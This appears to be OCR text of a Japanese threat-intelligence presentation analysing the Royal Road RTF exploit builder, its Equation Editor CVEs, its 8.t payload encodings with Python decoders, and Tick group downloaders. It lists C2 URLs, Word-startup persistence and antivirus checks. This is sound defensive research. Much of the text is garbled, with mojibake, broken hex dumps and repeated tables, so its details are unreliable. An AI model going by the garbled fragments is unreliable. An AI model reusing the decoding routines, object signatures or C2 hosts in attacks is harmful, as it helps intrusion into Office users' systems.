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« REIFX
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« FDLOBEBEEIBERINE DD
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e N—=T gy, TIR—ZT&DEH
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 Group-A (Temp.Conimes, Temp.Periscope, Rancor)
* Group-B (Temp.Trident, Temp.Tick, TA428, Tonto)
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Royal Road

 RTF Weaponizer
e AnomaliA‘L R— k& 4NF

o HIHIC8.tEMINBZZILLHS
s —HRICIFFERAFHDY —IIEH, EHOT7I/XR—FBTHEINTWSREEDNTWS

e LAR—FARICITF-ZTY &ELAEERIEHL
« RFEETI iMT@Z’)’&ﬁ%tT%@%Royal RoadIC & » THEB I #L7=RTF& L T D
1. BRATT 1 2 DOMEHEEAERT S
2. RTFRICH 7Y 27 MIC8.tEWHIEZRIDA TV 7 b &EFED


https://www.anomali.com/blog/analyzing-digital-quartermasters-in-asia-do-chinese-and-indian-apts-have-a-shared-supply-chain
https://www.anomali.com/blog/multiple-chinese-threat-groups-exploiting-cve-2018-0798-equation-editor-vulnerability-since-late-2018

Royal Road RTFODHE

Document

£ (D

ActiveXx ”Package”® » 4 0 )KXMB HOp E
XP. ®pWt Ttous 8.tx 6 B4

Create

Exploit

read

8.t

Decode & Execute

Shellcode

Malware



Royal Road RTFDE]

Document

Create

Exploit

Microsoft Officey
- CVE-2017-11882

- CVE-2018-0798

- CVE-2018-0802

8.t

Shellcode

"€ OuKY

5

£ (2)

6 X

read

Decode & Execute

Malware



Royal Road RTFOEME (3)

Create

read
8.t

Decode & Execute

Document Exploit

Shellcode Malware

[ 06TtouYepE. XgboMUA> POAE. X
>Aao0 =

blnj ©t x D“ " DLLho Xk . Aup O 6




Version

version

VB2019x Proofpoint p Anomalit WY

m Tnbeé

https://www.virusbulletin.com/conference/vb2019/abstracts/attribution -object -

using- rtf - object -dimensions -track -apt-phishing -weaponizers

Object string

0bjw2180 \ 0bjh300{ \ *\ objclass

Equation.3}{ \ *\ objdata
01050000020000000B0000004571756174696F6E2
E3300

objw2180 \ objh300{ \ objdata 554567{ \ *\ objdata
01050000020000000B0000004571756174696F6E2
E3300

objw2180 \ objh300{ \ objdata 554567{{ \ *\ objdata
1389E614020000000B0000004571756174696F6E2
E330

0bjw2180 \ 0bjh300{ \ objdata
554567{\ *\ objdata 01050000020000000b000000
4571756174696f6e2e330

objw2180 \ objh300{ \ objdata { \ object
515}4\ 781\ 'e56\ '2f7{\ *\ objdata 0105000002000
0000b0000004571756174696f6e2e3300

objw2 ?? 8 ?? \ objh300{ \ objdata [1 -5]

{\ object \ objemb [3-8]}4 [0 -18] \ objdata [0 -4]
01050000020000000b0000004571756174696f6e2e
330

{\'\ object \ \ objocx{ \ \ objdata
and
0ds00

CVE-2017-11882

CVE-2018-0802

CVE-2018-0798

Object Pattern

48905d006c9c5b000
0000000030101030a
0a01085a5ah844eb7
112ba7856341231

65303739613235323
46661363361353566
62636665

47464241515151515
05050500000000000
584242eb064242423
53533362044606060
60606060606061616
16161616161616161
6161616161

V4~v6 Qmip a1t Yobjectn. Kx
d YxpWan / Bd

Shellcode encode

No encode

No encode

No encode

lbyte xor

1lbyte xor

1lbyte xor

2byte xor

F2 A3 2072
No encode

F2 A3 20 72
B2 A4 6E FF

No encode

B2 A6 6D FF

No encode
BO 74 77 46

BO 74 77 46

BO 74 77 46

B2 5A 6F 00
B2 A6 6D FF



https://www.virusbulletin.com/conference/vb2019/abstracts/attribution-object-using-rtf-object-dimensions-track-apt-phishing-weaponizers

Version

Object string _ Object Pattern Shellcode encode

0bjw2180 \ 0bjh300{ \ *\ objclass
Equation.3} \ *\ objdata

CVE-2017-11882

VB2019x Proofpoint p Anomalit WU

d - x JnmyP867T CRTFY AmndoTu66C"

RoyalRoadh p G oy =

m Tnbey"

OBT0000VAD 7L /501 /460062

objw2180 \ objh300{ \ objdata 554567{{ \ *\ objdata
1389E614020000000B0000004571756174696F6E2
E330

0bjw2180 \ 0bjh300{ \ objdata
554567{\ *\ objdata 01050000020000000b000000
4571756174696f6e2e330

objw2180 \ objh300{ \ objdata { \ object
515}4\ 781\ 'e56\ '2f7{\ *\ objdata 0105000002000
0000b0000004571756174696f6e2e3300

objw2 ?? 8 ?? \ objh300{ \ objdata [1 -5]

{\ object \ objemb [3-8]}4 [0 -18] \ objdata [0 -4]
01050000020000000b0000004571756174696f6e2e
330

{\'\ object \ \ objocx{ \ \ objdata
and
0ds00

CVE-2018-0802

CVE-2018-0798

48905d006c9c5b000
0000000030101030a
0a01085a5ah844eb7
112ba7856341231

65303739613235323
46661363361353566
62636665

47464241515151515
05050500000000000
584242eb064242423
53533362044606060
60606060606061616
16161616161616161
6161616161

V4~v6 Qmip a1t Yobjectn. Kx
d YxpWan / Bd

No encode

No encode

No encode

lbyte xor

1lbyte xor

1lbyte xor

2byte xor

F2 A3 2072
No encode

F2 A3 20 72
B2 A4 6E FF

No encode

B2 A6 6D FF

No encode
BO 74 77 46

BO 74 77 46

BO 74 77 46

B2 5A 6F 00
B2 A6 6D FF




Version

0bjw2180 \ 0bjh300{ \ *\ objclass

Equation.3}{ \ *\ objdata
01050000020000000B0000004571756174696F6E2
E3300

objw2180 \ objh300{ \ objdata 554567{ \ *\ objdata
01050000020000000B0000004571756174696F6E2
E3300

objw2180 \ objh300{ \ objdata 554567{{ \ *\ objdata
1389E614020000000B0000004571756174696F6E2
E330

0bjw2180 \ 0bjh300{ \ objdata
554567{\ *\ objdata 01050000020000000b000000
4571756174696f6e2e330

ta { \ object
O GMH. Sap T [bidaa 0105000002000

6f6e2e3300

objw2 ?? 8 ?? \ objh300{ \ objdata [1 -5]

{\ object \ objemb [3-8]}4 [0 -18] \ objdata [0 -4]
01050000020000000b0000004571756174696f6e2e
330

{\'\ object \ \ objocx{ \ \ objdata
and
0ds00

CVE-2017-11882

CVE-2018-0802

CVE-2018-0798

48905d006c9c5b000
0000000030101030a
0a01085a5ah844eb7
112ba7856341231

65303739613235323
46661363361353566
62636665

47464241515151515
05050500000000000
584242eb064242423
53533362044606060
60606060606061616
16161616161616161
6161616161

V4~v6 Qmip a1t Yobjectn. Kx
d YxpWan / Bd

No encode

No encode

No encode

lbyte xor

1lbyte xor

1lbyte xor

2byte xor

Object string _ Object Pattern Shellcode encode

F2 A3 2072
No encode

F2 A3 20 72
B2 A4 6E FF

No encode

B2 A6 6D FF

No encode
BO 74 77 46

BO 74 77 46

BO 74 77 46

B2 5A 6F 00
B2 A6 6D FF
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Object

$ rtfobj bdle7b42a9c265266b8cc5cc966470497c4f9cba2b247d1f036b6b3892106b52

File: '"bdle7b42a9c265266b8cc5cc966470497c419cba2b247d1f036b6b3892106b52" - size: 450629 bytes
e mmmmeme m mm m o mE e e oo oo
id |index |OLE Object
e mmmmemo m mm mmmE e e e oo
0 |ee010980h |format _id: 2 (Embedded)

| |class name: 'Package'’
|data size: 181960
|OLE Package object:
|Filename: u'8.t"
Source path: u'C:¥¥Aaa¥¥tmp¥¥8.t'
Temp path = u'C:¥¥Users¥¥ADMINI~1¥¥AppData¥¥Local¥¥Temp¥¥8.t'
|[MD5 = "4dcl/2d1blaZ23b23a310ed8cbebl886b"

8.tpM=Ttoub|[ BUY

X 1> pathF «




Object

$ rtfobj bdle7b42a9c265266b8cc5cc966470497c4f9cba2b247d1f036b6b3892106b52

File: '"bdle7b42a9c265266b8cc5cc966470497c419cba2b247d1f036b6b3892106b52" - size: 450629 bytes
e mmmmeme m mm m o mE e e oo oo
id |index |OLE Object
e mmmmemo m mm mmmE e e e oo
0 |ee010980h |format _id: 2 (Embedded)
| |class name: 'Package'’
|data size: 181960
|OLE Package object:
|Filename: u'8.t"
|Source path: u'C:¥¥Aaa¥¥tmp¥¥s8.t'
| Temp path = u'C:¥¥Users¥¥ADMINI~1¥¥AppData¥¥Local¥¥Temp¥¥8.t'
|[MD5 = '4dc172d1bla23b23a310e48cbeb1880b"

|
|
|
|
|
|
+ < ~
| 00069780 ExploitE . X. €6un E. XY
I PYSOGpE
|
|
|
|
|
I
+




14

Shellcode Encode

e RoyalRoadD/N—Y avick-Tyza—FoxT v a— FAEHLIELL

- MELHARIBEL WS LS

v1-v3

No encode
proc near

= dword ptr
= dword ptr
= dword ptr
= dword ptr
push ebp
mov ebp,
push BCX

| push ECH
push ebx
push esi
maw esi,
maw ehx,
push edi
maw edi,

esp

[ebptarg @]
ECH

edx

CODE

BEAS

AE &R
=g L

=
A D
HEA

—
L

m = i

loc_EAB:

byte ptr [esi], p

v4-v6

1byte xor

dw

add esi,
Xor BCX, EBCX
mov CX,

xor

loop loc_ EAG
push eax

pop eax

db

db

db

db

loc 7A:

888

loc B85:

v/
2byte xor
ao
Xor BCX, ecx
mov £X,
cmp word ptr [edi],
e shorteloo 20
Xor word ptr [edi],
inc edi
inc edi

loop loc 7A

db
db
db



Shellcode Technique

« Patch API code
e clearerrZz/Xy F L TIEEDAPIZFOHE T
e {EFHT BAWinAPIA msvcrt.dl1REATHEONHINS

* APIOI—FDEBHEZF v/ LTT7 v 7SNTWVWDHHEIL
5/NA FERARIEZL T7 v 7 % [A)#

push ebp clearerr

mov
mov byte ptr
mov byte ptr
mov byte ptr
mov byte ptr
mov byte ptr
mov byte ptr
mov byte ptr

mow ptr
and dword ptr
and dword ptr
and dword ptr
and dword ptr
and dword ptr
call 1D01EOD

74 11
8078 FB E9

BOFE FE EE
74 05
B3IEB 05

FFED
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8.t Pattern

« 8.tF TV MESDD/INE— U HTFTE
BHD4bytex BB /X2 -V %HAITES

. 4D 5A 90 00 (T >»a—F#4L)
. F2 A3 20 72
. B2 A6 6D FF
. BO 74 77 46
. B2 5A 6F 00

o b W NP

Fa—4&l% Appendix-2 TN
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AODRESS

00000000
Q0000010
00000020
00000030
00000040
00000050
00000060
00000070
Q0000080
00000090
000000AD
000000BD
000000Co
00000000
OO0D00ED
O00000F
000007100

HH H] Hg ;3 ;i ;; ;? 17

[1] 4D 5A 90 00

64 FD 96 EA

, BA FD OR A
'I|'|I Fl:l :'

B FD 9
:.I. FD F
8 FD b

00 00 00
[0 EH :

a 09 ;Q HE nc 00 HE HF

23456789 8BCOEF

417 LA Th

S prc -—T-HII '_-HIIII

fIII' . J -

}-

HEEJ Bl LHR .

-..%ﬁj..

TjFl
+ JE .

BEk. AET. -

hE.
Fr
3

- LB F|ni§§j.
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[2] F2 A3 20 72

Jjﬂ Stirling - — 1
Y 774ME) SR -BHS) BEQ) 90F W) N @)

FT Cu EF 's

UDDDDDD[
00000010
00000020
00000030
00000040
00000050
00000080
00000070
00000080
00000090
000000AD
000000ED
000000C0
00000000
00000DED
000000F]

EN(S) E%HI_'{O) VEpe '?(W) A7 (H)
el Cad I T e

(0000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000080
000000AD
000000ED
000000C0 .
00000000 0 chat¥fi........
00000DED
000000F] \ 00 00 00 10 00 I 0301 I

decode_f2a320872(enc_data):
dec_data = []
xor_key = 2079624803

for i range(len(enc_data)):
for ¢ range(7):

partl_1 = xor_key >> 27
partl_2 = xor_key ™ partl_ 1
partl_3 = partl_2 >> 3
partl_4 = xor_key ™ partl_3
partl 5 = partl 4 & 1
part2_1 = 2 * xor_key

part3 = partl_5 | part2_1
xor_key = part3
dec_data.append(int.from_bytes(enc_data[i], "little") ~ (xor_key % 256))

return dec_data



[3] B2 A6 6D FF

& Stirling - [b2a66dff.bin] - 0

77AME)

ADDR

00000010 CFC FC FC BC FC FC FC FC FC FC FC Do o v = v = o
00000020 [ C FC FC FC FC CRC e e nnnes
00000030 ( .

00000040
00000050
00000080
00000070
00000080
00000090
00000040
Lz
00000000
00000000 ; vasen
000000ED CRE e ) .
000000FD | F8 FC : e s e for 1 range(len(enc_data)):

L7 4 dec_data.append(int.from_bytes(enc_data[i], "1little"™) # @xfc)

decode_b2a66dff(enc_data):
dec_data = []

1(S) BREQ) 947F IW) T (H) dec_data[e] = ex4d
B[4 [ns o 8] || Dt|Cu[ D] [o%t| S| dec_data[2] = ex9e

00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000080
000000AD
000000ED
000000C0
00000000
00000DED .
N00000FD ey 00 00 4C 01 0 ) " 00 10 E..L...

return dec_data
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[4] BO 74 77 46

% Stirling - [b0747746.bin] — 1
T7AHE) REE RR-BES) BEQ) 90k *r(W) N7 (H)

O Eu EP 's

UDDDDDDD
00000010
00000020
00000030
00000040
00000050
00000080
00000070
00000080
00000090
000000AD
000000ED
000000C0
00000000
00000DED
000000F]

EN(S) E%HI"{O) VEpe '?(W) A7 (H)
el Cad I T e

(0000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000080
000000AD
000000ED ! / * e VAT
000000C0 ! ! tich0 = 1ol
00000000 5 4

00000DED 0 P
WNEREEES 0B 01 06 00 00 a0 10 ! 00 ) B

decode_be747746(enc_data):
dec_data = []
xor_key = 1219836524

for i range(len(enc_data)):
for c range(7):
partl_1 = xor_key >> 26
partl_2 = xor_key ™ partl_1
partl_3 = partl_2 >> 3
partl_4 = xor_key ™ partl_3
partl_ 5 = partl_ 4 & 1

part2_1 = 2 * xor_key
part3 = partl 5 | part2_1
xor_key = part3
xor_key += 1
dec_data.append(int.from_bytes(enc_data[i],
return dec_data

"little") ~ (xor_key % 256))
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[5] B2 5A 6F 00

S Stirling - [b25a6f00.bin] —

(0000000
00000010
00000020 ) ) ( ( .
00000030 07 00 FF 00 ......
00000040 : 1 D

00000050
00000060
00000070
00000080
00000030
00000040
000000B0
000000C0
00000000
000000ED

EN(S) E%HI"{O) VEpe '?(W) A7 (H)
el Cad I T e

(0000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
00000040
000000ED
000000C0
00000000

000000F0 00 AF 45 ( o )

000000FD ( S
ORI 00 00 00 00 00 00 00 00 50 45 0 R )

decode_b25a6fee(enc_data):
dec_data = []

for 1 range(len(enc_data)):
ifi%2-==
dec_data.append(int.from_bytes(enc_data[i],
else:
dec_data.append(int.from_bytes(enc_data[i],

return dec_data

"little™)

"little"))

M

£F)



ZhIEEa—3EHE

« Kl (T VU v oY —EX~ADKR. EREK)

History

Creation Time 2019-12-23 00:44:(
First Submission 2019-12-25 04:54:53

RENKOE (FA477ANORE) e —

| ¥ | AaBbCi AaBbC: AaBbCe AaBb( A

TNormal | ¥No Spaci... He

n 3 i 6cPHONG cQNG H6A HOI CHU N( VIET NAM DOC lap
[ ] S - _Hanh phiic $6:75 /2019/TT-BQP Ha NO "thing™

THONG TU

e Object strings - Lok iy S e
e den khieu_nai, to cdo, kiOn nghi, phan anh
® O b J e C t p a tt e r\ n e ;)Elr;:cl'LLuét Ban hiinh van ban quyphgmphap luQt ngiry 22 thang 6 niim
y Pa C kage patte rn e id |index JIrOLE Object
Q { B it e P B et it
g =TI Q :l‘—*— —Zt& 0 |000576E8h |format_id: 2 (Embedded)
° ObJ eCt O) % HU N /N Z B :F B -$;i; 7B 5C 6F 62 S 63 74 S5C 6F 62 GA 6F 63 78 7B SC 6F class rame: 'Packaze’
ot ) e data size: 547016
39 62 36 33 35 B3 2A 5C 6F 62 6A 64 61 74 61 28 7B OLE Package object:
38 38 38 38 38 38 38 36 38 38 30 38 30 38 30 38 3¢ Filerame: u'8.t’
31 3@ 3 34 35 Source path: U’ C:¥¥Aaa¥¥tmp¥¥3.1°
. " Temp path = u'C:¥¥Users¥¥ADMINIT1¥¥AprDat a¥¥loca | ¥¥Temp¥¥8 .t
S S B e e A o D oy oo o
. 1 |00162908h [format_id: 2 (Embedded)
ondition: class name: Eguat ion. 2¥x00%x] 24 80%:] 24 T2
$RTF at @ and $51 data size: 6436
} B e T T T

+
7 |001628EER Mot a wel | -formed OLE object

22



ZhIEEa—3EHE

o N ~ N ~ Q |0p0e00ea
/\/fn_l\d)l/:l_l\/\ﬁ_/ 00008010 :
000008020 :

P0BBAA30 :

P A V4 707 7 /r }[/% 776 'WINWORD.EXE

3788 EQNEDT32.EXE

WL TERITHBDT /=y 7
« T1137 (Office Application Startup)
 T1073 (DLL Side-Loading)

g4 O0—F (V7773 Y)

23

B2 5A 6F 80 FC 00 FF 80 FB 00 FF 00 08 FF FF 00 270.0.Y.0
47 00 FF 00 FF 00 FF @8 BF 8@ FF 00 FF 00 FF 00 G.V.V.9.¢.
FF @8 FF 00 FF 80 FF @@ FF @0 FF 00 FF 00 FF 08 V.y.9.5..
FF @0 FF 00 FF 00 FF 6@ FF @0 FF @0 @7 00 FF 0@ V...

C:\Users\admin'AppData!Local\Temp!8.t

C:\Users\admin!\AppData\Roaming! Microsoft\ Word | STARTUPintel.wll



WET 7 X —

Temp.Tick Temp.Conimes Temp.Periscope  Temp.Trident
N BTLER,  CoBLIL PONOS eyt AT a0 BT Ponde
h YTeZ2bUj I l I I
, bi LE33 e SO EIEE:AK?(G:T
blnj ©1t QSEPEZWBiEsiigaeP, ;EmggﬁszAT, g;ﬁEEEgFFEE’ IceFog

Datper Sisfader

24
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WET 7 X —

h YTebUi

blnj ©t

TA428 Tonto Rancor
CactusPete,
LoneRanger, Karma
Panda
f I I
Ap Eun KE€T, ht , LE33, pp WSt

PoisonIvy, Cotx RAT | Bisonal DDKONG, PLAINTEE



Temp.Tick



Temp.Tick

c WP VTEENE LE-HRET I X —
- BRCEEINMENEEDONTWLS
« Daserf. Datper. xxmmZx &AMEHN S
- FEABEELTWBEEDNTWLS

o IRTETCIEH /-4 DownloaderDERAIPHEIN TS
e ABK Downloader
e avirra Downloader

Target Version 8.t Encode 11137 T1073 Drop name malware

No encode winhelp.wll ABK Downloader

avirra Downloader

27
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Tick Royal Road Case (1)

|d ||ndex

Modified

Name i - Type

'___+ _________________________________________________________________________
IULE Object
UUU5EBBDh format id: 2 (Embedded)
clazs name: “Package’
data zize: 1673928

Microsoft...

LJmeﬂﬁéﬁfa'

18 2H 2019, 18:26

Microsoft... 1828 2019, 18:26

& ¥1.doc

ZIP

extract

\\\\\\EESE‘

DLL %APPDATA%¥Microsoft¥Word¥Startup¥winhelp.wll

Word Open
Drop

ABK Downloader >

OLE Packaze chject:

Filemame: u™8.t’

Source path: u'Cr¥¥laa¥¥tmp¥¥s.t’

Teme path = o' Ci¥¥lsers¥ADMINT T 1¥¥0pDat a¥ ¥ oca | ¥¥ Temp¥¥8 . 7

____+ _______________________________________________________________
8 9 A B CDEF
04 00 Q0 0O FF FF 00 0O
40 00 Q0O 00 00 00 QO 0O
00 00 00 0O 00 00 00O 0O
00 00 00 QOO0 F8 00 00 00 | ..o eeuneeuannn = T
21 B8 01 4C|CD 21 54 &8 ..o, 7. I, . LI'Th
6l 6D 20 63 61 6E 6E &F is program canno
20 65 6E 20 44 4F 53 20 t be run in DOS
24 00 00 00 00 00 00O 00 mode....5.......
96 EA 64 FD 96 EA 6A FD O¢ .B—Ejy-2iv-&3y
05 B4 F2 FD 97 EA 6A FD NSy Ej V. BOT—EI7
FS SC CO FD 9D EA &A FD JEDY”EJYJERY giv
9F 92 F9 FD |95 EA &A FD ey EJyY'hQ-éjQ
F8 9C C5 FD|94 EA &A FD —ekyLEJyamAy"EJY
52 69 €3 68 96 ER &R FD e y—EjyRich-&jv
00 00 OO0 DO (00 0D D0 00 | .ccveervunsananenn

45 00 00|4C 01 05 00 | ........ PE..L

00 00 4C 01 05 00

https[:]//www.86coding.com//flow//index.php

ktempk¥taskmar.exe

https[:]//www.86coding.com//img//flow//imgo0. jpg



Tick Royal Road Case (2)

id | index
___+ __________ + _______________________________________________________________
0 00021704k [format_id: 2 (Embedded)

class name: "Packaze’

data size: 1596104

OLE Package obiect:

Filename: u'8.1'

Source path: u C:¥¥laa¥¥tmp¥¥8. 1’

Temp path = u'Cr¥¥lzers¥¥ADMINT T 1¥¥4op0at a¥¥ oca | ¥¥ Temp¥¥d .+

e N N e

[T ] .doc

1 2 3 4 5 &€ 7 8 8 A B CDE F

00|03 00 00 00 04 00 OO QOO FF FF QOO0 00

00 00 00 OO OO0 40 OO OO0 Q0O Q0 OO OO QO

Q0 00 00 OO OO0 |00 OO0 OO0 QO |0D0 OO OO QO

Qg0 00 00 OO OO0 00 OO OO0 QOO F8 OO0 OO QO

Dr‘op OE 00 B4 09 CD|21 B8 01 4C|CD 21 54 &8
70 72 6F 67 72 61 6D 20 63 61 6E &6E &F is program canno
65|20 72 75 6E |20 &9 6E 20|44 4F 53 20 t be run in DOS
65 2E 0D OD ORA 24 00 OO 0O 00 OO 00 00 mode....5.......
%APPDATA%¥Microsoft¥Word¥Startup¥winhelp.wll AE |96 EA 6A FD| 96 EA 6A FD|96 EA 6A FD | O¢.8-&jy-&jy-&3j¥
DLL FD 94 EA 6A FD 05 A4 F2 FD 97 EA 6A FD | uGedy”&jy.Hoy—Ejy
FD 94 EA 6A FD FS SC CO FD SD EA 6A FD | uwedy~ejyiehy.&jv
FD 92 EA 6A FD SF 52 Fo FD S5 EA 6A FD | uehy &jyirag-&jy
FD BD EAR 6A FD F9 SC C5 FD 94 EA 6A FD | -&kyssdiyiaehAy &iy
FD 97 ER 6A FD 52 69 63 68 96 EA 6A FD  ue-y—&jyRich-&3jy
wor‘d Open 00|00 00 OO0 O0 |00 OO0 OO0 OO|(00 00 OO0 DO | cvcencevcasamnnnns

Dr\op Q0 00 00 OO0 OO0 50 45 OO0 OO |4C 01 OS5 0O @ ........ PE..L
O
avirra Downloader o >
c2
%tempkkaam.tmp

http[:]//www.longfeiye[.]com/phpcms/modules/block/block _modules.php
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Decoy files

« BEETHLEEZELTWS
e 7L — h%E(ER
e FIOWEBETCEREINT-T7 7/ IILRERAFHL TWLAA[EEN

2019 4a q—t 1.doc b . XE [>T ] .doc



T1137

@
=)

« OfficeDAdd-in& LT, REIFFICEIT T 218D H 5

Office Application Startup

Microsoft Office is a fairly common application suite an Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for

persistence when an Offl d application is started.

Add-ins

Office add-ins can be used to add functionality to Office programs. 7]

0 obtain pe
cluding

31


https://attack.mitre.org/techniques/T1137/

32

Dropped DLL

 winhelp.wll
e WordZ 4 7 7 U HLsRF

* WAPPDATA%¥Microsoft¥Word¥Startup
« 7T— FORIFICHEAAEND 7+ LK
« T—FOREIZEFICEINEST B0, BITKICA—Y 77> avHnE

« PDB Information
 C:¥Users¥Frank¥Desktop¥doc dll¥Release¥DocDll.pdb

e C:¥Users¥abc¥Documents¥Visual Studio
2010¥Projects¥0103¥Release¥0103.pdb



DLL

I

« EXEA®

DIAEN TS

e MZINY R AEEXMZzTCrAOY Y

e FOY 7 LI-EXERETT 5

10003000
10003010
10003020
10003030
10003040
10003050
10003060
10003070
10003080
10003090
100030a0
18603600
106030cH
loao3ede
100030e0
logo3efe
10003100
10003110
10003120
10003130
10003140
10003150
10003160
10003170
10003180
10003190

o
o
Qe
69
74
G
a5
52
ae
cd
ae
ae
o
18]
o
o
o
a5
o
o
o

ae
ae
1f
73
208
6
fd
d2
ea
ed
ea
ea
ae
45
ae
cC
ae
ae
el
ae
ae

aa
aa
aa
aa
ba
20
62
64
fo
413]
34
ad
35
a3
aa
aa
aa
06
11
a1
13
10
aa

fo 20 00 10
5f 69 Ge
ff_ff f

bg oo

66
ff
ae
ae
ae
ae
Qe
78
65
65
a4
57
57
57
57
57
ae
ae
ae
ae
ae
ae
ae
ae
ae

0o oo 0o

6
ff
a3
aa
aa
aa
aa
72
20
2e
cl
c3
79
ed
45
cl
aa
dc
el
aa
aa
aa
aa
aa
10

40
ff
aa
aa
aa
aa
b
6
72
Ad
Ac
9c
Ac
Ac
9d
Ac
aa
a1
aa
aa
aa
aa
04
10
aa

40
ff
aa
aa
aa
aa
a9
67
73
Ad
Qe
e
Qe
Qe
Qe
Qe
aa
a5
a2
aa
40
aa
aa
aa
aa

o
o
ff
o
o
o
o
cd
72
Ge
Qa
57
57
57
57
57
57
o
o
a1
o
o
o
o
o
o

2e
de
o
o4
40
o
o
21
61
20
24
cl
ae
cd
cl
ae
52
o
70
ab
jc
o
a5
Ac
o
o

af
eh
o
o
o
o
o
b8
G
69
o
Ac
ea
ed
Ac
ea
69
o
45
a1
33
10
o
f3
o
o

41
40
o
o
o
o
o
a1
20
Ge
o
Qe
aae
1d
9f
31
63
o
da
Qa
af
o
a1
18
10
o

a6
1]4]
o
o
o
o
o
dc
63
20
o
57
57
57
57
57
68
o
a3C
o
o
o
o
o
o
o

74
bl
Qo
ff
Qo
Qo
fo
cd
61
44
Qo
cl
ef
cd
cf
cd
cl
Qo
Qo
Qo
Qo
Qo
Qo
a2
Qo
Qo

79
19
Qe
ff
Qe
Qe
Qe
21
Ge
af
Qe
Ac
9c
Ac
of
Ac
Ac
Qe
Qe
62
10
a2
Qe
Qe
10
Qe

7
bf
aa
aa
aa
aa
aa
54
Ge
53
aa
Qe
e
Qe
Qe
Qe
Qe
aa
aa
11
aa
aa
aa
40
aa
aa

65
44
oo
oo
oo
oo
oo
68
6f
20
oo
57
57
57
57
57
57
oo
oo
oo
oo
oo
oo
a1
oo
oo

void

is program canno
t be run in DOS

{woid)

short *psWarl;

int 1Var2;

FILE * File;

vold * Dst;

WCHAR local_ 418 [260];
wchar_t local_210 [260];
uint local_8;

local_8 = DAT_ 10083018 ~ {uint)&stackoxfffffffc;
(100);
{local_418,0,0x104);
(0x104,local_418);
{local_210,0,0x104);
iVar2 = 0;
do {
psWarl = {short *)({int)local_418 + ivar2);
*{short *){(int)local_210 + iVar2) = *psVarl;
Var2 = iVar2 + 2;
} while (*psvarl != 0);
{local_210,0x104,L"kaam.tmp");
_File = {local_210,L"wb");
i Eile I— *
_DAT_10003030 = 0x5add;
[&DAT_I0003030, I,0x183200, File);]

_Dst = {Oxbdagoag);
{ Dst,0,0xbdacon);
( Dst,1,0xbdagbn, Filed;
(_File);
():
}
(h:
return;



CompileTime
ABK Downloader

CompileTime
ABK Downloader
CompileTime CompileTime

ABK Downloader ABK Downloader

ABK Downloader

CompileTime VT Sub
ABK Downloader

CompileTime

Royal

CreateTime

Royal
2018 2019 oya
OO0 0DIODIDNODIODIDODODODODODODODODODODIDODODOD|ODOo|mommo
N NN NN NN A " " 00 000 OO0 0 O O |G 6 0|0 ~ ™~
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avirra Daownloader
CompileTime
avirra Downloader
CreateTime
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Road
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2H27H

mission

3A9H

3A19H
3H29H

4H8H

CompileTime
ABK Downloader

O 00O OOMomaOaon mm
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VT Submission
Royal Road

CompileTime

avirra Downloader
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ABK downloader

- 20184

ES B LUBEICE

AAlENTWAEYvyA—R —

e BIRICIEBOHIAEFN/-RORAMA—FA2KX 70— FLTETIT S
e RDRAA—F& L ThatperzX7A—FLE=2&hH
Tick®Malware & HIHT

* PDB

C:¥Users¥XF¥Documents¥Visual Studio 2010¥Projects¥ABKDLL¥Release¥ABKDLL.pdb

 (C:¥Users¥XF¥Documents¥Visual Studio2010¥Projects¥ABK¥Release¥ABK.pdb
 C:¥Users¥Frank¥Desktop¥ABK-old¥Release¥ABK.pdb
 C:¥Users¥Frank¥Documents¥Visual Studio 2010¥Projects¥avenger¥Release¥avenger.pdb
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ABK downloader

« temp%¥taskmar.exe

c ERENB 7 7
« $978MB

ALY A XTHKE L

c BHEDOD 77 /)L EIE—LTW3
e Xy vO— K7 7AILE

* taskmgt.exe

* TTPs
e task*.exe

* Binary padding(T1009)

do

while (
strcpy(vis, "work.jpg");
zz_download file(&Bu
if ( )
{

'1 = sub_4014D0();

strcpy_s(&Dst, @xAu,
GetTempPathA(@x32u, &Buff
strepy((char *)&v36,
memset(&/37, @, Ox58u);

fer);

21);
er);

"taskmgt.exe");




(S DR
e /N— FO— FINTHFBHIZRURL /"8 /RFT A —&

e uid= -> uid=,pid= -> 1id=,group=,classs=

strepy(&s: % o S 1 2 carilite.net
memset (& 5 ) ! ’ ! ” 71, @, @x38u);

3

o= Ft

1
¥

Pritre

-

cpuid }
) L

Prs

e
e
2
8;
o:
2:
e
e

[

& while (

sprintf(&v41, "X08X%0: r 3
12 = strlen(&v41) + 1; AT 0; = SRS qmech‘él(
= &v53; sprintf(&v4s, ISX%@8X", _ED EAX) 5 ~ =3

strlen(&v43

& -

23

-
DOODOOOO D]

do

while ( v12 ); i
gmemcpy (v11, &v4l, vig); 12 = *4pyll;
13 = &v53; while (
qmemcpy (
13 = &5

H
strcpy

37



Another Type ABK Downloader
« VY —RIZAV T4 THBMESNhTWBE XA THHFELTE

B Resource Hacker - 58b06982¢ 19f595e51f0dc 553 1f6d60e6b55F775fa0e 1b12fd89d71ce896688

File Edit View Action Help

DREE AW 00 QLBES> OO

EXE
:
)

STRINGTABLE
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
{
10001, "http://www.ishuiyunjian.com/source/include/post/index.php”
10002, "http://www.ishuiyunjian.com/source/include/post/post.jpg”
10003, "08-00-18-00"
10004, "MSCE"
10005, “36"
10006, “mstcsi.exe”
10007, "200"

 String Table
e g 626 11033
Manifest

(Vo B o TN [ R ) IS SN WS B S B

—
- O




PE%IEHIAATEIR

e Windows7 ? &k % #]
e TV O— FHETIZIEOHIAA:2[E
METO—FINTEDHAA:L

c XI =T 7 AND

L\fbg_tf) 597"_
-%ﬁ%?zvﬁbfu%

(LT PATRRS

4 '!‘
" d - w/ : \x’ef“\‘: 13
7 TAEN
\' = N 4 - A y wﬂ
) (SR A
: {.7= ) !;k4é/

f/ ¢ ",A 4 ,’ 2
Vw W v ’4 :
W/ﬁ‘/’wﬂﬂb
71 :
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This program mus
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TPYVFIANRY) 7 DF 7

if ( sub_4017CO(L"PccNTMon.

= 8unk_41127C;
sub_482698(L"4");

if ( sub_401568( "PccNTMon.exe

g s
sub_408168@("PccNTMon. exe” = "4"; if ( sub_4@17C@(L"ccSvcHst

) e g if ( sub_401560("ccSvchist . exe” sub_402690(L"1");
et e s 4 = "1"; if ( Sub_s017C6(L"Mcshield. e

Han

A w3 if ( sub 491560(" McShield.
sub 491689(".c5h1~id =

